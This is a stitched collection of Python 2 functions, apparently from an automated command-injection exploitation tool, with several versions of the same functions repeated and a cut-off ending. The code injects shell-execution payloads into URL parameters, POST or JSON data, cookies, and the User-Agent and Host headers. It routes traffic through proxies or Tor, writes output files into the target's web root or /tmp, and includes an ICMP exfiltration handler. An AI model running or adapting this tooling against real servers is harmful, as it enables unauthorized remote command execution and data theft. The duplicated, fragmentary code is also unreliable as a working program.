def inject_cookie(url, vuln_parameter, payload, proxy): if proxy == None: opener = urllib2.build_opener() else: opener = urllib2.build_opener(proxy) if settings.TIME_RELATIVE_ATTACK : payload = urllib.quote(payload) # Check if defined POST data if menu.options.data: menu.options.data = settings.USER_DEFINED_POST_DATA request = urllib2.Request(url, menu.options.data) else: url = parameters.get_url_part(url) request = urllib2.Request(url) #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) request.add_header('Cookie', menu.options.cookie.replace(settings.INJECT_TAG, payload)) try: headers.check_http_traffic(request) response = opener.open(request) return response except ValueError: pass
def injection_test(payload, http_request_method, url): # Check if defined method is GET (Default). if http_request_method == "GET": # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url) # Encoding spaces. payload = payload.replace(" ","%20") # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = re.sub(settings.INJECT_TAG, payload, url) request = urllib2.Request(target) # Check if defined extra headers. headers.do_check(request) # Check if defined any HTTP Proxy. if menu.options.proxy: try: response = proxy.use_proxy(request) except urllib2.HTTPError, err: print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL raise SystemExit() except KeyboardInterrupt: response = None
def authentication_process(): auth_url = menu.options.auth_url auth_data = menu.options.auth_data cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) request = opener.open(urllib2.Request(auth_url)) cookies = "" for cookie in cj: cookie_values = cookie.name + "=" + cookie.value + "; " cookies += cookie_values if len(cookies) != 0 : menu.options.cookie = cookies.rstrip() if settings.VERBOSITY_LEVEL >= 1: success_msg = "The received cookie is " success_msg += menu.options.cookie + Style.RESET_ALL + "." print settings.print_success_msg(success_msg) urllib2.install_opener(opener) request = urllib2.Request(auth_url, auth_data) # Check if defined extra headers. headers.do_check(request) # Get the response of the request. response = requests.get_request_response(request) return response
def injection_results(url, OUTPUT_TEXTFILE, delay): # Find the correct directory. path = url path_parts = path.split('/') count = 0 for part in path_parts: count = count + 1 count = count - 1 last_param = path_parts[count] output = url.replace(last_param, OUTPUT_TEXTFILE) time.sleep(delay) # Check if defined extra headers. request = urllib2.Request(output) headers.do_check(request) # Evaluate test results. output = urllib2.urlopen(request) html_data = output.read() shell = re.findall(r"(.*)", html_data) return shell #eof
def warning_detection(url, http_request_method): try: # Find the host part url_part = url.split("=")[0] request = urllib2.Request(url_part) # Check if defined extra headers. headers.do_check(request) response = urllib2.urlopen(request) html_data = response.read() error_msg = "" if "eval()'d code" in html_data: error_msg = "'eval()'" if "Cannot execute a blank command in" in html_data: error_msg = "execution of a blank command," if "sh: command substitution:" in html_data: error_msg = "command substitution" if "Warning: usort()" in html_data: error_msg = "'usort()'" if re.findall(r"=/(.*)/&", url): if "Warning: preg_replace():" in html_data: error_msg = "'preg_replace()'" url = url.replace("/&","/e&") if "Warning: assert():" in html_data: error_msg = "'assert()'" if "Failure evaluating code:" in html_data: error_msg = "code evaluation" if error_msg != "": print Fore.YELLOW + settings.WARNING_SIGN + "A failure message on " + error_msg + " was detected on page's response." + Style.RESET_ALL return url except urllib2.HTTPError, err: print Back.RED + settings.ERROR_SIGN + str(err) + Style.RESET_ALL raise SystemExit()
def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell): if alter_shell: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.cmd_execution_alter_shell(separator, TAG, cmd) else: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.cmd_execution(separator, TAG, cmd) if separator == " ": payload = re.sub(" ", "%20", payload) else: payload = re.sub(" ", whitespace, payload) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Check if defined "--verbose" option. if menu.options.verbose: sys.stdout.write("\n" + Fore.GREY + payload + Style.RESET_ALL) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: response = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: response = user_agent_injection_test(url, vuln_parameter, payload) else: # Check if defined method is GET (Default). if http_request_method == "GET": # Check if its not specified the 'INJECT_HERE' tag url = parameters.do_GET_check(url) target = re.sub(settings.INJECT_TAG, payload, url) vuln_parameter = "".join(vuln_parameter) request = urllib2.Request(target) # Check if defined extra headers. headers.do_check(request) # Check if defined any HTTP Proxy. if menu.options.proxy: try: response = proxy.use_proxy(request) except urllib2.HTTPError, err: print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL raise SystemExit() # Check if defined Tor. elif menu.options.tor: try: response = tor.use_tor(request) except urllib2.HTTPError, err: print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL raise SystemExit() else:
def icmp_exfiltration_handler(url, http_request_method): # You need to have root privileges to run this script if os.geteuid() != 0: print "\n" + Back.RED + "(x) Error: You need to have root privileges to run this option." + Style.RESET_ALL os._exit(0) if http_request_method == "GET": url = parameters.do_GET_check(url) vuln_parameter = parameters.vuln_GET_param(url) request = urllib2.Request(url) headers.do_check(request) else: parameter = menu.options.data parameter = urllib2.unquote(parameter) parameter = parameters.do_POST_check(parameter) request = urllib2.Request(url, parameter) headers.do_check(request) vuln_parameter = parameters.vuln_POST_param(parameter, url) # Check if defined any HTTP Proxy. if menu.options.proxy: try: response = proxy.use_proxy(request) except urllib2.HTTPError, err: print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL os._exit(0)
def icmp_exfiltration_handler(url,http_request_method): # You need to have root privileges to run this script if os.geteuid() != 0: print colors.BGRED + "\n(x) Error: You need to have root privileges to run this option.\n" + colors.RESET sys.exit(0) if http_request_method == "GET": url = parameters.do_GET_check(url) vuln_parameter = parameters.vuln_GET_param(url) request = urllib2.Request(url) headers.do_check(request) else: parameter = menu.options.data parameter = urllib2.unquote(parameter) parameter = parameters.do_POST_check(parameter) request = urllib2.Request(url, parameter) headers.do_check(request) vuln_parameter = parameters.vuln_POST_param(parameter,url) # Check if defined any HTTP Proxy. if menu.options.proxy: try: proxy= urllib2.ProxyHandler({'http': menu.options.proxy}) opener = urllib2.build_opener(proxy) urllib2.install_opener(opener) response = urllib2.urlopen(request) except urllib2.HTTPError, err: print "\n" + colors.BGRED + "(x) Error : " + str(err) + colors.RESET sys.exit(1)
def warning_detection(url, http_request_method): try: # Find the host part url_part = url.split("=")[0] request = urllib2.Request(url_part) # Check if defined extra headers. headers.do_check(request) response = requests.get_request_response(request) if response: response = urllib2.urlopen(request) html_data = response.read() err_msg = "" if "eval()'d code" in html_data: err_msg = "'eval()'" if "Cannot execute a blank command in" in html_data: err_msg = "execution of a blank command," if "sh: command substitution:" in html_data: err_msg = "command substitution" if "Warning: usort()" in html_data: err_msg = "'usort()'" if re.findall(r"=/(.*)/&", url): if "Warning: preg_replace():" in html_data: err_msg = "'preg_replace()'" url = url.replace("/&","/e&") if "Warning: assert():" in html_data: err_msg = "'assert()'" if "Failure evaluating code:" in html_data: err_msg = "code evaluation" if err_msg != "": warn_msg = "A failure message on " + err_msg + " was detected on page's response." print settings.print_warning_msg(warn_msg) return url except urllib2.HTTPError, err_msg: print settings.print_critical_msg(err_msg) raise SystemExit()
def injection_test(payload, http_request_method, url): # Check if defined method is GET (Default). if http_request_method == "GET": # Check if its not specified the 'INJECT_HERE' tag url = parameters.do_GET_check(url) # Encoding non-ASCII characters payload. payload = urllib.quote(payload) # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = re.sub(settings.INJECT_TAG, payload, url) request = urllib2.Request(target) # Check if defined extra headers. headers.do_check(request) # Check if defined any HTTP Proxy. if menu.options.proxy: try: response = proxy.use_proxy(request) except urllib2.HTTPError, err: print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL raise SystemExit() # Check if defined Tor. elif menu.options.tor: try: response = tor.use_tor(request) except urllib2.HTTPError, err: print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL raise SystemExit()
def injection_test(payload, http_request_method, url): # Check if defined method is GET (Default). if http_request_method == "GET": # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url) # Encoding spaces. payload = payload.replace(" ","%20") # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = re.sub(settings.INJECT_TAG, payload, url) request = urllib2.Request(target) # Check if defined extra headers. headers.do_check(request) try: # Get the response of the request response = get_request_response(request) except KeyboardInterrupt: response = None # Check if defined method is POST. else: parameter = menu.options.data parameter = urllib2.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter) # Define the POST data if settings.IS_JSON == False: data = re.sub(settings.INJECT_TAG, payload, parameter) request = urllib2.Request(url, data) else: payload = payload.replace("\"", "\\\"") data = re.sub(settings.INJECT_TAG, urllib.unquote(payload), parameter) try: data = json.loads(data, strict = False) except: pass request = urllib2.Request(url, json.dumps(data)) # Check if defined extra headers. headers.do_check(request) # Define the vulnerable parameter vuln_parameter = parameters.vuln_POST_param(parameter, url) try: # Get the response of the request response = get_request_response(request) except KeyboardInterrupt: response = None return response, vuln_parameter
def injection_test(payload,http_request_method,url): # Check if defined method is GET (Default). if http_request_method == "GET": # Check if its not specified the 'INJECT_HERE' tag url = parameters.do_GET_check(url) # Encoding non-ASCII characters payload. payload = urllib.quote(payload) # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = re.sub(settings.INJECT_TAG, payload, url) request = urllib2.Request(target) # Check if defined extra headers. headers.do_check(request) # Check if defined any HTTP Proxy. if menu.options.proxy: try: proxy= urllib2.ProxyHandler({'http': menu.options.proxy}) opener = urllib2.build_opener(proxy) urllib2.install_opener(opener) response = urllib2.urlopen(request) except urllib2.HTTPError, err: print "\n(x) Error : " + str(err) sys.exit(1) else: response = urllib2.urlopen(request) # Just to be sure response.read()
def icmp_exfiltration_handler(url, http_request_method): # You need to have root privileges to run this script if os.geteuid() != 0: print "\n" + Back.RED + settings.ERROR_SIGN + "You need to have root privileges to run this option." + Style.RESET_ALL os._exit(0) if http_request_method == "GET": #url = parameters.do_GET_check(url) vuln_parameter = parameters.vuln_GET_param(url) request = urllib2.Request(url) headers.do_check(request) else: parameter = menu.options.data parameter = urllib2.unquote(parameter) parameter = parameters.do_POST_check(parameter) request = urllib2.Request(url, parameter) headers.do_check(request) vuln_parameter = parameters.vuln_POST_param(parameter, url) # Check if defined any HTTP Proxy. if menu.options.proxy: try: response = proxy.use_proxy(request) except urllib2.HTTPError, err: if settings.IGNORE_ERR_MSG == False: print "\n" + Back.RED + settings.ERROR_SIGN + str(err) + Style.RESET_ALL continue_tests = checks.continue_tests(err) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: os._exit(0)
def do_check(url): check_proxy = True sys.stdout.write("(*) Testing proxy "+menu.options.proxy+" ... ") sys.stdout.flush() try: request = urllib2.Request(url) # Check if defined extra headers. headers.do_check(request) request.set_proxy(menu.options.proxy,"http") try: check = urllib2.urlopen(request) except urllib2.HTTPError, error: check = error except: check_proxy = False pass if check_proxy == True: sys.stdout.write("["+colors.GREEN+" OK "+colors.RESET+"]\n") sys.stdout.flush() else: print "[" + colors.BGRED+ " FAILED "+colors.RESET+"]\n" sys.exit(1)
def do_check(url): check_proxy = True try: if settings.VERBOSITY_LEVEL >= 1: info_msg = "Setting the HTTP proxy for all HTTP requests... " print settings.print_info_msg(info_msg) # Check if defined POST data if menu.options.data: request = urllib2.Request(url, menu.options.data) else: request = urllib2.Request(url) # Check if defined extra headers. headers.do_check(request) request.set_proxy(menu.options.proxy,settings.PROXY_SCHEME) try: check = urllib2.urlopen(request) except urllib2.HTTPError, error: check = error except: check_proxy = False pass if check_proxy == True: pass else: err_msg = "Unable to connect to the target URL or proxy (" err_msg += menu.options.proxy err_msg += ")." print settings.print_critical_msg(err_msg) raise SystemExit()
def do_check(url): check_proxy = True sys.stdout.write(settings.INFO_SIGN + "Testing proxy " + menu.options.proxy + "... ") sys.stdout.flush() try: # Check if defined POST data if menu.options.data: request = urllib2.Request(url, menu.options.data) else: request = urllib2.Request(url) # Check if defined extra headers. headers.do_check(request) request.set_proxy(menu.options.proxy,settings.PROXY_PROTOCOL) try: check = urllib2.urlopen(request) except urllib2.HTTPError, error: check = error except: check_proxy = False pass if check_proxy == True: sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + " ]\n") sys.stdout.flush() else: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" print Back.RED + settings.ERROR_SIGN + "Could not connect to proxy." + Style.RESET_ALL sys.exit(0)
def do_check(url): check_proxy = True info_msg = "Testing proxy " + menu.options.proxy + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: # Check if defined POST data if menu.options.data: request = urllib2.Request(url, menu.options.data) else: request = urllib2.Request(url) # Check if defined extra headers. headers.do_check(request) request.set_proxy(menu.options.proxy,settings.PROXY_PROTOCOL) try: check = urllib2.urlopen(request) except urllib2.HTTPError, error: check = error except: check_proxy = False pass if check_proxy == True: sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + " ]\n") sys.stdout.flush() # Check if defined "--force-ssl" option AND "--proxy" option. # We then force the proxy to https if menu.options.force_ssl and menu.options.proxy: settings.PROXY_PROTOCOL = 'https' else: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = "Could not connect to proxy." print settings.print_error_msg(err_msg) sys.exit(0)
def injection(separator,TAG,cmd,prefix,suffix,whitespace,http_request_method,url,vuln_parameter): # Execute shell commands on vulnerable host. payload = cb_payloads.cmd_execution(separator,TAG,cmd) if separator == " " : payload = re.sub(" ", "%20", payload) else: payload = re.sub(" ", whitespace, payload) # Check if defined "--prefix" option. if menu.options.prefix: prefix = menu.options.prefix payload = prefix + payload else: payload = prefix + payload # Check if defined "--suffix" option. if menu.options.suffix: suffix = menu.options.suffix payload = payload + suffix else: payload = payload + suffix # Check if defined "--verbose" option. if menu.options.verbose: sys.stdout.write("\n" + colors.GREY + payload + colors.RESET) # Check if defined method is GET (Default). if http_request_method == "GET": # Check if its not specified the 'INJECT_HERE' tag url = parameters.do_GET_check(url) target = re.sub(settings.INJECT_TAG, payload, url) vuln_parameter = ''.join(vuln_parameter) request = urllib2.Request(target) # Check if defined extra headers. headers.do_check(request) # Check if defined any HTTP Proxy. if menu.options.proxy: try: proxy= urllib2.ProxyHandler({'http': menu.options.proxy}) opener = urllib2.build_opener(proxy) urllib2.install_opener(opener) response = urllib2.urlopen(request) except urllib2.HTTPError, err: print "\n" + colors.BGRED + "(x) Error : " + str(err) + colors.RESET sys.exit(1) else: try: response = urllib2.urlopen(request) except urllib2.HTTPError, err: print "\n" + colors.BGRED + "(x) Error : " + str(err) + colors.RESET sys.exit(1)
def injection(separator,maxlen,TAG,cmd,delay,http_request_method,url,vuln_parameter,OUTPUT_TEXTFILE,alter_shell): if menu.options.file_write or menu.options.file_upload : minlen = 0 else: minlen = 1 print "\n(*) Retrieving the length of execution output..." for j in range(int(minlen),int(maxlen)): # Execute shell commands on vulnerable host. if not alter_shell : payload = tfb_payloads.cmd_execution(separator,cmd,j,OUTPUT_TEXTFILE,delay,http_request_method) else: payload = tfb_payloads.cmd_execution_alter_shell(separator,cmd,j,OUTPUT_TEXTFILE,delay,http_request_method) # Check if defined "--verbose" option. if menu.options.verbose: sys.stdout.write("\n" + colors.GREY + payload.replace("\n","\\n") + colors.RESET) start = 0 end = 0 start = time.time() # Check if defined method is GET (Default). if http_request_method == "GET": payload = urllib.quote(payload) # Check if its not specified the 'INJECT_HERE' tag url = parameters.do_GET_check(url) target = re.sub(settings.INJECT_TAG, payload, url) vuln_parameter = ''.join(vuln_parameter) #print target request = urllib2.Request(target) # Check if defined extra headers. headers.do_check(request) # Check if defined any HTTP Proxy. if menu.options.proxy: try: proxy= urllib2.ProxyHandler({'http': menu.options.proxy}) opener = urllib2.build_opener(proxy) urllib2.install_opener(opener) response = urllib2.urlopen(request) response.read() except urllib2.HTTPError, err: print "\n" + colors.BGRED + "(x) Error : " + str(err) + colors.RESET sys.exit(1) else: try: response = urllib2.urlopen(request) response.read() except urllib2.HTTPError, err: print "\n" + colors.BGRED + "(x) Error : " + str(err) + colors.RESET sys.exit(1)
def injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell): # Execute shell commands on vulnerable host. if alter_shell : payload = fb_payloads.cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE) else: payload = fb_payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Check if defined "--verbose" option. if menu.options.verbose: sys.stdout.write("\n" + Fore.GREY + payload.replace("\n", "\\n") + Style.RESET_ALL) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: response = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: response = user_agent_injection_test(url, vuln_parameter, payload) else: # Check if defined method is GET (Default). if http_request_method == "GET": # Check if its not specified the 'INJECT_HERE' tag url = parameters.do_GET_check(url) # Encoding non-ASCII characters payload. payload = urllib.quote(payload) target = re.sub(settings.INJECT_TAG, payload, url) vuln_parameter = ''.join(vuln_parameter) request = urllib2.Request(target) # Check if defined extra headers. headers.do_check(request) # Check if defined any HTTP Proxy. if menu.options.proxy: try: response = proxy.use_proxy(request) except urllib2.HTTPError, err: print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL raise SystemExit() # Check if defined Tor. elif menu.options.tor: try: response = tor.use_tor(request) except urllib2.HTTPError, err: print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL raise SystemExit() else:
def injection_test(payload, http_request_method, url): start = 0 end = 0 start = time.time() # Check if defined method is GET (Default). if http_request_method == "GET": # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url) # Encoding non-ASCII characters payload. payload = urllib.quote(payload) # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = re.sub(settings.INJECT_TAG, payload, url) request = urllib2.Request(target) # Check if defined extra headers. headers.do_check(request) # Get the response of the request response = get_request_response(request) # Check if defined method is POST. else: parameter = menu.options.data parameter = urllib2.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter) # Define the vulnerable parameter vuln_parameter = parameters.vuln_POST_param(parameter, url) # Define the POST data if settings.IS_JSON == False: data = re.sub(settings.INJECT_TAG, payload, parameter) request = urllib2.Request(url, data) else: payload = payload.replace("\"", "\\\"") data = re.sub(settings.INJECT_TAG, urllib.unquote(payload), parameter) data = json.loads(data, strict = False) request = urllib2.Request(url, json.dumps(data)) # Check if defined extra headers. headers.do_check(request) # Get the response of the request response = get_request_response(request) end = time.time() how_long = int(end - start) return how_long, vuln_parameter
def estimate_response_time(url, http_request_method, delay): request = urllib2.Request(url) headers.do_check(request) start = time.time() try: response = urllib2.urlopen(request) response.read(1) response.close() except urllib2.HTTPError, e: pass
def init_request(url): # Check connection(s) checks.check_connection(url) # Define HTTP User-Agent header user_agent_header() # Check the internet connection (--check-internet switch). if menu.options.check_internet: check_internet(url) # Check if defined POST data if menu.options.data: settings.USER_DEFINED_POST_DATA = menu.options.data # Check if defined character used for splitting parameter values. if menu.options.pdel and menu.options.pdel in settings.USER_DEFINED_POST_DATA: settings.PARAMETER_DELIMITER = menu.options.pdel try: request = urllib2.Request(url, menu.options.data) except SocketError as e: if e.errno == errno.ECONNRESET: error_msg = "Connection reset by peer." print settings.print_critical_msg(error_msg) elif e.errno == errno.WSAECONNRESET: error_msg = "An existing connection was forcibly closed by the remote host." print settings.print_critical_msg(error_msg) raise SystemExit() else: # Check if defined character used for splitting parameter values. if menu.options.pdel and menu.options.pdel in url: settings.PARAMETER_DELIMITER = menu.options.pdel try: request = urllib2.Request(url) except SocketError as e: if e.errno == errno.ECONNRESET: error_msg = "Connection reset by peer." print settings.print_critical_msg(error_msg) elif e.errno == errno.WSAECONNRESET: error_msg = "An existing connection was forcibly closed by the remote host." print settings.print_critical_msg(error_msg) raise SystemExit() headers.do_check(request) # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: proxy.do_check(url) if settings.VERBOSITY_LEVEL >= 1: info_msg = "Creating HTTP requests opener object." print settings.print_info_msg(info_msg) # Check for URL redirection if not menu.options.ignore_redirects: url = redirection.do_check(url) # Used a valid pair of valid credentials if menu.options.auth_cred and menu.options.auth_type: info_msg = "Using '" + menu.options.auth_cred + "' pair of " + menu.options.auth_type info_msg += " HTTP authentication credentials." print settings.print_info_msg(info_msg) return request
def inject_cookie(url, vuln_parameter, payload, proxy): if proxy == None: opener = urllib2.build_opener() else: opener = urllib2.build_opener(proxy) opener.addheaders.append(('Cookie', vuln_parameter + "=" + payload)) request = urllib2.Request(url) # Check if defined extra headers. headers.do_check(request) response = opener.open(request) return response
def inject_user_agent(url, vuln_parameter, payload, proxy): if proxy == None: opener = urllib2.build_opener() else: opener = urllib2.build_opener(proxy) request = urllib2.Request(url) #Check if defined extra headers. headers.do_check(request) request.add_header('User-Agent', urllib.unquote(payload)) response = opener.open(request) return response
def injection_test(payload, http_request_method, url): start = 0 end = 0 start = time.time() # Check if defined method is GET (Default). if http_request_method == "GET": # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url) # Encoding non-ASCII characters payload. payload = urllib.quote(payload) # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = re.sub(settings.INJECT_TAG, payload, url) request = urllib2.Request(target) # Check if defined method is POST. else: parameter = menu.options.data parameter = urllib2.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter) # Define the vulnerable parameter vuln_parameter = parameters.vuln_POST_param(parameter, url) # Define the POST data if settings.IS_JSON == False: data = re.sub(settings.INJECT_TAG, payload, parameter) request = urllib2.Request(url, data) else: payload = payload.replace("\"", "\\\"") data = re.sub(settings.INJECT_TAG, urllib.unquote(payload), parameter) data = json.loads(data, strict = False) request = urllib2.Request(url, json.dumps(data)) # Check if defined extra headers. headers.do_check(request) # Check if defined any HTTP Proxy. if menu.options.proxy: try: response = proxy.use_proxy(request) except urllib2.HTTPError, err: print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL raise SystemExit()
def injection_test(payload, http_request_method, url): # Check if defined method is GET (Default). if http_request_method == "GET": if " " in payload: payload = payload.replace(" ","%20") # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.INJECT_TAG, payload) request = urllib2.Request(target) # Check if defined extra headers. headers.do_check(request) # Get the response of the request. response = requests.get_request_response(request) # Check if defined method is POST. else: parameter = menu.options.data parameter = urllib2.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter) parameter = parameter.replace("+","%2B") # Define the POST data if settings.IS_JSON: payload = payload.replace("\"", "\\\"") data = parameter.replace(settings.INJECT_TAG, urllib.unquote(payload)) try: data = json.loads(data, strict = False) except: pass request = urllib2.Request(url, json.dumps(data)) else: if settings.IS_XML: data = parameter.replace(settings.INJECT_TAG, urllib.unquote(payload)) else: data = parameter.replace(settings.INJECT_TAG, payload) request = urllib2.Request(url, data) # Check if defined extra headers. headers.do_check(request) # Define the vulnerable parameter vuln_parameter = parameters.vuln_POST_param(parameter, url) # Get the response of the request. response = requests.get_request_response(request) return response, vuln_parameter
def request(url): # Check if defined POST data if menu.options.data: request = urllib2.Request(url, menu.options.data) else: request = urllib2.Request(url) try: headers.do_check(request) response = urllib2.urlopen(request) soup = BeautifulSoup(response) return soup except urllib2.URLError, e: pass
def inject_cookie(url, vuln_parameter, payload, proxy): if proxy == None: opener = urllib2.build_opener() else: opener = urllib2.build_opener(proxy) # Encoding non-ASCII characters payload. payload = urllib.quote(payload) opener.addheaders.append(("Cookie", vuln_parameter + "=" + payload)) request = urllib2.Request(url) # Check if defined extra headers. headers.do_check(request) response = opener.open(request) return response
def use_proxy(request): headers.do_check(request) request.set_proxy(menu.options.proxy,settings.PROXY_SCHEME) try: response = urllib2.urlopen(request) return response except httplib.BadStatusLine, e: err_msg = "Unable to connect to the target URL or proxy (" err_msg += menu.options.proxy err_msg += ")." print settings.print_critical_msg(err_msg) raise SystemExit()
def inject_host(url, vuln_parameter, payload, proxy): if proxy == None: opener = urllib2.build_opener() else: opener = urllib2.build_opener(proxy) # Check if defined POST data if menu.options.data: menu.options.data = settings.USER_DEFINED_POST_DATA request = urllib2.Request(url, menu.options.data) else: url = parameters.get_url_part(url) request = urllib2.Request(url) #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) request.add_header('Host', payload) try: headers.check_http_traffic(request) response = opener.open(request) return response except ValueError: pass
def icmp_exfiltration_handler(url, http_request_method): # You need to have root privileges to run this script if os.geteuid() != 0: err_msg = "You need to have root privileges to run this option." print settings.print_critical_msg(err_msg) + "\n" os._exit(0) if http_request_method == "GET": #url = parameters.do_GET_check(url) vuln_parameter = parameters.vuln_GET_param(url) request = urllib2.Request(url) headers.do_check(request) else: parameter = menu.options.data parameter = urllib2.unquote(parameter) parameter = parameters.do_POST_check(parameter) request = urllib2.Request(url, parameter) headers.do_check(request) vuln_parameter = parameters.vuln_POST_param(parameter, url) # Check if defined any HTTP Proxy. if menu.options.proxy: try: response = proxy.use_proxy(request) except urllib2.HTTPError, err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR: response = False elif settings.IGNORE_ERR_MSG == False: err = str(err_msg) + "." print "\n" + settings.print_critical_msg(err) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: os._exit(0)
def fb_injection_handler(url, delay, filename, http_request_method, url_time_response): counter = 1 failed_tries = 20 vp_flag = True exit_loops = False no_result = True is_encoded = False stop_injection = False call_tmp_based = False export_injection_info = False injection_type = "Semiblind-based Command Injection" technique = "file-based semiblind injection technique" # Set temp path if menu.options.tmp_path: tmp_path = menu.options.tmp_path else: tmp_path = settings.TMP_PATH print "(*) Testing the " + technique + "... " if menu.options.file_dest: if '/tmp/' in menu.options.file_dest: call_tmp_based = True SRV_ROOT_DIR = os.path.split(menu.options.file_dest)[0] else: if menu.options.srv_root_dir: SRV_ROOT_DIR = menu.options.srv_root_dir else: SRV_ROOT_DIR = settings.SRV_ROOT_DIR i = 0 # Calculate all possible combinations total = len(settings.PREFIXES) * len(settings.SEPARATORS) * len( settings.SUFFIXES) # Check if defined alter shell alter_shell = menu.options.alter_shell for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: i = i + 1 # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for i in range(6)) # The output file for file-based injection technique. OUTPUT_TEXTFILE = TAG + ".txt" # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" try: # File-based decision payload (check if host is vulnerable). if alter_shell: payload = fb_payloads.decision_alter_shell( separator, TAG, OUTPUT_TEXTFILE) else: payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE) # Check if defined "--prefix" option. # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Check if defined "--verbose" option. if menu.options.verbose: print Fore.GREY + "(~) Payload: " + payload.replace( "\n", "\\n") + Style.RESET_ALL # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = fb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = fb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = fb_injector.referer_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = fb_injector.injection_test( payload, http_request_method, url) # Find the directory. path = url path_parts = path.split('/') count = 0 for part in path_parts: count = count + 1 count = count - 1 last_param = path_parts[count] output = url.replace(last_param, OUTPUT_TEXTFILE) time.sleep(delay) try: # Check if defined extra headers. request = urllib2.Request(output) headers.do_check(request) # Evaluate test results. output = urllib2.urlopen(request) html_data = output.read() shell = re.findall(r"" + TAG + "", html_data) if len(shell) != 0 and not menu.options.verbose: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL sys.stdout.write("\r(*) Trying to upload the '" + OUTPUT_TEXTFILE + "' on " + SRV_ROOT_DIR + "... [ " + percent + " ]") sys.stdout.flush() except urllib2.HTTPError, e: if e.getcode() == 404: percent = ((i * 100) / total) if call_tmp_based == True: exit_loops = True tmp_path = os.path.split( menu.options.file_dest)[0] + "/" tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response) raise # Show an error message, after 20 failed tries. # Use the "/tmp/" directory for tempfile-based technique. elif i == failed_tries: if not menu.options.verbose: print "" print Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to write on " + SRV_ROOT_DIR + "." + Style.RESET_ALL while True: tmp_upload = raw_input( "(?) Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > ").lower() if tmp_upload in settings.CHOISE_YES: exit_loops = True tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response) if no_result == True: return False elif tmp_upload in 